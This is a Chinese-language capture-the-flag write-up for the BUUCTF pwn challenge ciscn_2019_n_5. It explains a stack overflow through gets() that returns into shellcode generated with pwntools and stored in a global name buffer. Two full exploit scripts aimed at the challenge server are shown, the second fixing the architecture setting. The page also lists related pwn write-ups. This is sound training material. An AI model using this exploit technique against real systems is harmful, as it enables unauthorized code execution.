[BUUCTF-pwn]——ciscn_2019_n_5

  • 题目地址: https://buuoj.cn/challenges#ciscn_2019_n_5

老规矩还是先checksec 一下看看,64位的什么保护都没开.感觉应该要自己写shellcode了

在IDA中一看,果然如此.将准备好的shellcode 通过read写入 name . 然后通过gets进行栈溢出,使其,返回至name所在位置即可.

shellcraft是pwntools中的一个模块是shellcode的生成器
所以shellcode = asm(shellcraft.sh()).
对应的expolit为

from pwn import *
#p = process("./ciscn_2019_n_5")
p = remote("node3.buuoj.cn",29663)
context.log_level = 'debug'
shellcode = asm(shellcraft.sh())
name_addr = 0x0601080
p.sendlineafter("tell me your name\n",shellcode)
payload = 'a' * (0x20 + 0x8) + p64(name_addr)
p.sendlineafter("What do you want to say to me?\n",payload)
p.interactive()

但是发现不可以,查看了一下shellcraft模块,发现由于各个平台,特别是32位和64位的shellcode不一样,所以最好先设置context。
修改后exploit

from pwn import *
#p = process("./ciscn_2019_n_5")
p = remote("node3.buuoj.cn",29663)
context.arch = 'amd64'
context.log_level = 'debug'
shellcode = asm(shellcraft.sh())
name_addr = 0x0601080
p.sendlineafter("tell me your name\n",shellcode)
payload = 'a' * (0x20 + 0x8) + p64(name_addr)
p.sendlineafter("What do you want to say to me?\n",payload)
p.interactive()

(ps:记住哦,以后写shellcraft一定要指明架构)
希望对大家有所帮助,点个赞 呗!!!
恬不知耻的说一句,打赏更开心

[BUUCTF-pwn]——ciscn_2019_n_5相关推荐

  1. Buuctf(pwn) ciscn_2019_n_5

    发现name在全局变量bss段上 可以利用 gets() 进行溢出 from pwn import* r=remote('node3.buuoj.cn',27785) context(arch='am ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. keras训练完以后怎么预测_使用Keras建立Wide Deep神经网络,通过描述预测葡萄酒价格...
  2. Effective Java之静态工厂代替构造器(一)
  3. Excluding Files From Team Foundation Version Control Using .tfignore Files
  4. 单一课和综合课的划分依据_缠论108课第105课:股票的操作中远离小聪明,保持机械性的操作...
  5. Flutter基础—常用控件之文本
  6. android 沙箱 逆向,【原创】沙箱Sandboxie v3.40 逆向完整源码
  7. python动态变量名以及调用_Python 动态变量名与调用介绍
  8. 计算机毕业设计Java安路友汽车租赁(源码+系统+mysql数据库+lw文档
  9. 网页加速优化简单总结
  10. excel 永久保存宏命令
  11. 吴恩达:还没有人能完全理解人工智能,包括谷歌和百度
  12. plsql登录Not logged on
  13. 蓝带 拱桥 区别_蓝带
  14. Excel 中的一些计数及求和的函数
  15. Ubuntu22降版本
  16. 欧拉角,轴角,四元数与旋转矩阵详解
  17. 输入两个整数,求;两者的和,差,积,商,余数。
  18. 《微机原理》期末考试计算题例题含答案
  19. html实现平面地图效果,基于Jquery和html5的7款个性化地图插件
  20. 黑暗之光三部曲 黑暗之光三部曲小说

热门文章

  1. 转载:js跨域问题小结
  2. 骗子是这样把1G硬盘变成120G的
  3. C# 系统应用之清空回收站操作
  4. Git之多个用户ID适配
  5. 【数据结构与算法】之深入解析“排列序列”的求解思路与算法示例
  6. HarmonyOS之常用组件Image的功能和使用
  7. 并发编程——进程池与线程池
  8. 【Qt】Qt窗口几何布局
  9. php 3des 兼容java,PHP版3DES加解密类,可与java的3DES(DESede)加密方式兼容
  10. java 的tree_Java TreeSet higher()方法